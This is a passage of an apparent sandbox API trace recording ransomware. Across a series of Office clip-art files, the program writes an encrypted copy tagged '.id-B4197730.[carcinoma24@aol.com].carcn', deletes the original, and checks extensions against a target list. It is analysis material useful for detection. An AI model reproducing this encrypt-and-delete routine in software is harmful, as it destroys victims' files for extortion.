lpString2=".WMF") returned -1 [0284.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0284.261] lstrlenW (lpString=".jpg") returned 4 [0284.261] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.261] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=1026) returned 1 [0284.261] CloseHandle (hObject=0x554) returned 1 [0284.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 0x220 [0284.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0284.262] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.263] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0284.263] GetLastError () returned 0x0 [0284.263] ReadFile (in: hFile=0x554, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x402, lpOverlapped=0x0) returned 1 [0284.299] WriteFile (in: hFile=0x38c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x410, lpOverlapped=0x0) returned 1 [0284.300] ReadFile (in: hFile=0x554, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.300] WriteFile (in: hFile=0x38c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0284.300] SetEndOfFile (hFile=0x38c) returned 1 [0284.300] CloseHandle (hObject=0x38c) returned 1 [0284.300] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.301] SetEndOfFile (hFile=0x554) returned 1 [0284.304] CloseHandle (hObject=0x554) returned 1 [0284.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.305] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 1 [0284.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0284.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0284.306] lstrlenW (lpString=".doc") returned 4 [0284.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.306] lstrlenW (lpString=".docx") returned 5 [0284.306] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.306] lstrlenW (lpString=".pdf") returned 4 [0284.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.306] lstrlenW (lpString=".xls") returned 4 [0284.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.306] lstrlenW (lpString=".xlsx") returned 5 [0284.306] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.306] lstrlenW (lpString=".ppt") returned 4 [0284.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0284.306] lstrlenW (lpString=".zip") returned 4 [0284.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.306] lstrlenW (lpString=".rar") returned 4 [0284.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.306] lstrlenW (lpString=".bz2") returned 4 [0284.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.306] lstrlenW (lpString=".7z") returned 3 [0284.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0284.306] lstrlenW (lpString=".dbf") returned 4 [0284.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0284.307] lstrlenW (lpString=".1cd") returned 4 [0284.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0284.307] lstrlenW (lpString=".jpg") returned 4 [0284.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.307] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=3286) returned 1 [0284.308] CloseHandle (hObject=0x554) returned 1 [0284.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x220 [0284.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0284.309] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.309] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0284.310] GetLastError () returned 0x0 [0284.310] ReadFile (in: hFile=0x554, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0xcd6, lpOverlapped=0x0) returned 1 [0284.402] WriteFile (in: hFile=0x38c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xce0, lpOverlapped=0x0) returned 1 [0284.404] ReadFile (in: hFile=0x554, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.404] WriteFile (in: hFile=0x38c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0284.404] SetEndOfFile (hFile=0x38c) returned 1 [0284.404] CloseHandle (hObject=0x38c) returned 1 [0284.404] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.404] SetEndOfFile (hFile=0x554) returned 1 [0284.408] CloseHandle (hObject=0x554) returned 1 [0284.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.409] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf")) returned 1 [0284.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0284.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0284.410] lstrlenW (lpString=".doc") returned 4 [0284.410] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.410] lstrlenW (lpString=".docx") returned 5 [0284.410] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.410] lstrlenW (lpString=".pdf") returned 4 [0284.410] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.410] lstrlenW (lpString=".xls") returned 4 [0284.410] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.410] lstrlenW (lpString=".xlsx") returned 5 [0284.410] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.411] lstrlenW (lpString=".ppt") returned 4 [0284.411] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0284.411] lstrlenW (lpString=".zip") returned 4 [0284.411] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.411] lstrlenW (lpString=".rar") returned 4 [0284.411] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.411] lstrlenW (lpString=".bz2") returned 4 [0284.411] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.411] lstrlenW (lpString=".7z") returned 3 [0284.411] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0284.411] lstrlenW (lpString=".dbf") returned 4 [0284.411] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0284.411] lstrlenW (lpString=".1cd") returned 4 [0284.411] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 68 [0284.411] lstrlenW (lpString=".jpg") returned 4 [0284.411] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.412] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=1960) returned 1 [0284.412] CloseHandle (hObject=0x554) returned 1 [0284.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x220 [0284.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0284.413] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.413] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0284.414] GetLastError () returned 0x0 [0284.415] ReadFile (in: hFile=0x554, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x7a8, lpOverlapped=0x0) returned 1 [0284.469] WriteFile (in: hFile=0x38c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x7b0, lpOverlapped=0x0) returned 1 [0284.471] ReadFile (in: hFile=0x554, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.471] WriteFile (in: hFile=0x38c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0284.471] SetEndOfFile (hFile=0x38c) returned 1 [0284.471] CloseHandle (hObject=0x38c) returned 1 [0284.471] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.471] SetEndOfFile (hFile=0x554) returned 1 [0284.477] CloseHandle (hObject=0x554) returned 1 [0284.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.478] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 1 [0284.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0284.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0284.479] lstrlenW (lpString=".doc") returned 4 [0284.479] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.479] lstrlenW (lpString=".docx") returned 5 [0284.479] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.479] lstrlenW (lpString=".pdf") returned 4 [0284.479] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.479] lstrlenW (lpString=".xls") returned 4 [0284.479] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.479] lstrlenW (lpString=".xlsx") returned 5 [0284.479] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.479] lstrlenW (lpString=".ppt") returned 4 [0284.479] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0284.479] lstrlenW (lpString=".zip") returned 4 [0284.479] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.480] lstrlenW (lpString=".rar") returned 4 [0284.480] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.480] lstrlenW (lpString=".bz2") returned 4 [0284.480] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.480] lstrlenW (lpString=".7z") returned 3 [0284.480] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0284.480] lstrlenW (lpString=".dbf") returned 4 [0284.480] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0284.480] lstrlenW (lpString=".1cd") returned 4 [0284.480] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0284.480] lstrlenW (lpString=".jpg") returned 4 [0284.480] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.481] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=3662) returned 1 [0284.481] CloseHandle (hObject=0x554) returned 1 [0284.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x220 [0284.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0284.482] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.482] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0284.483] GetLastError () returned 0x0 [0284.483] ReadFile (in: hFile=0x554, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0xe4e, lpOverlapped=0x0) returned 1 [0284.496] WriteFile (in: hFile=0x38c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xe50, lpOverlapped=0x0) returned 1 [0284.497] ReadFile (in: hFile=0x554, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.497] WriteFile (in: hFile=0x38c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0284.497] SetEndOfFile (hFile=0x38c) returned 1 [0284.498] CloseHandle (hObject=0x38c) returned 1 [0284.498] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.498] SetEndOfFile (hFile=0x554) returned 1 [0284.501] CloseHandle (hObject=0x554) returned 1 [0284.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.501] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 1 [0284.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0284.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0284.502] lstrlenW (lpString=".doc") returned 4 [0284.502] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.502] lstrlenW (lpString=".docx") returned 5 [0284.502] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.502] lstrlenW (lpString=".pdf") returned 4 [0284.502] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.502] lstrlenW (lpString=".xls") returned 4 [0284.502] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.503] lstrlenW (lpString=".xlsx") returned 5 [0284.503] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.503] lstrlenW (lpString=".ppt") returned 4 [0284.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0284.626] lstrlenW (lpString=".zip") returned 4 [0284.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.626] lstrlenW (lpString=".rar") returned 4 [0284.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.626] lstrlenW (lpString=".bz2") returned 4 [0284.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.626] lstrlenW (lpString=".7z") returned 3 [0284.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0284.626] lstrlenW (lpString=".dbf") returned 4 [0284.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0284.626] lstrlenW (lpString=".1cd") returned 4 [0284.626] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0284.626] lstrlenW (lpString=".jpg") returned 4 [0284.626] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0284.961] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.961] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0284.962] GetLastError () returned 0x0 [0284.962] ReadFile (in: hFile=0x550, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x332, lpOverlapped=0x0) returned 1 [0284.969] WriteFile (in: hFile=0x538, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x340, lpOverlapped=0x0) returned 1 [0284.970] ReadFile (in: hFile=0x550, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.970] WriteFile (in: hFile=0x538, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0284.970] SetEndOfFile (hFile=0x538) returned 1 [0284.970] CloseHandle (hObject=0x538) returned 1 [0284.970] 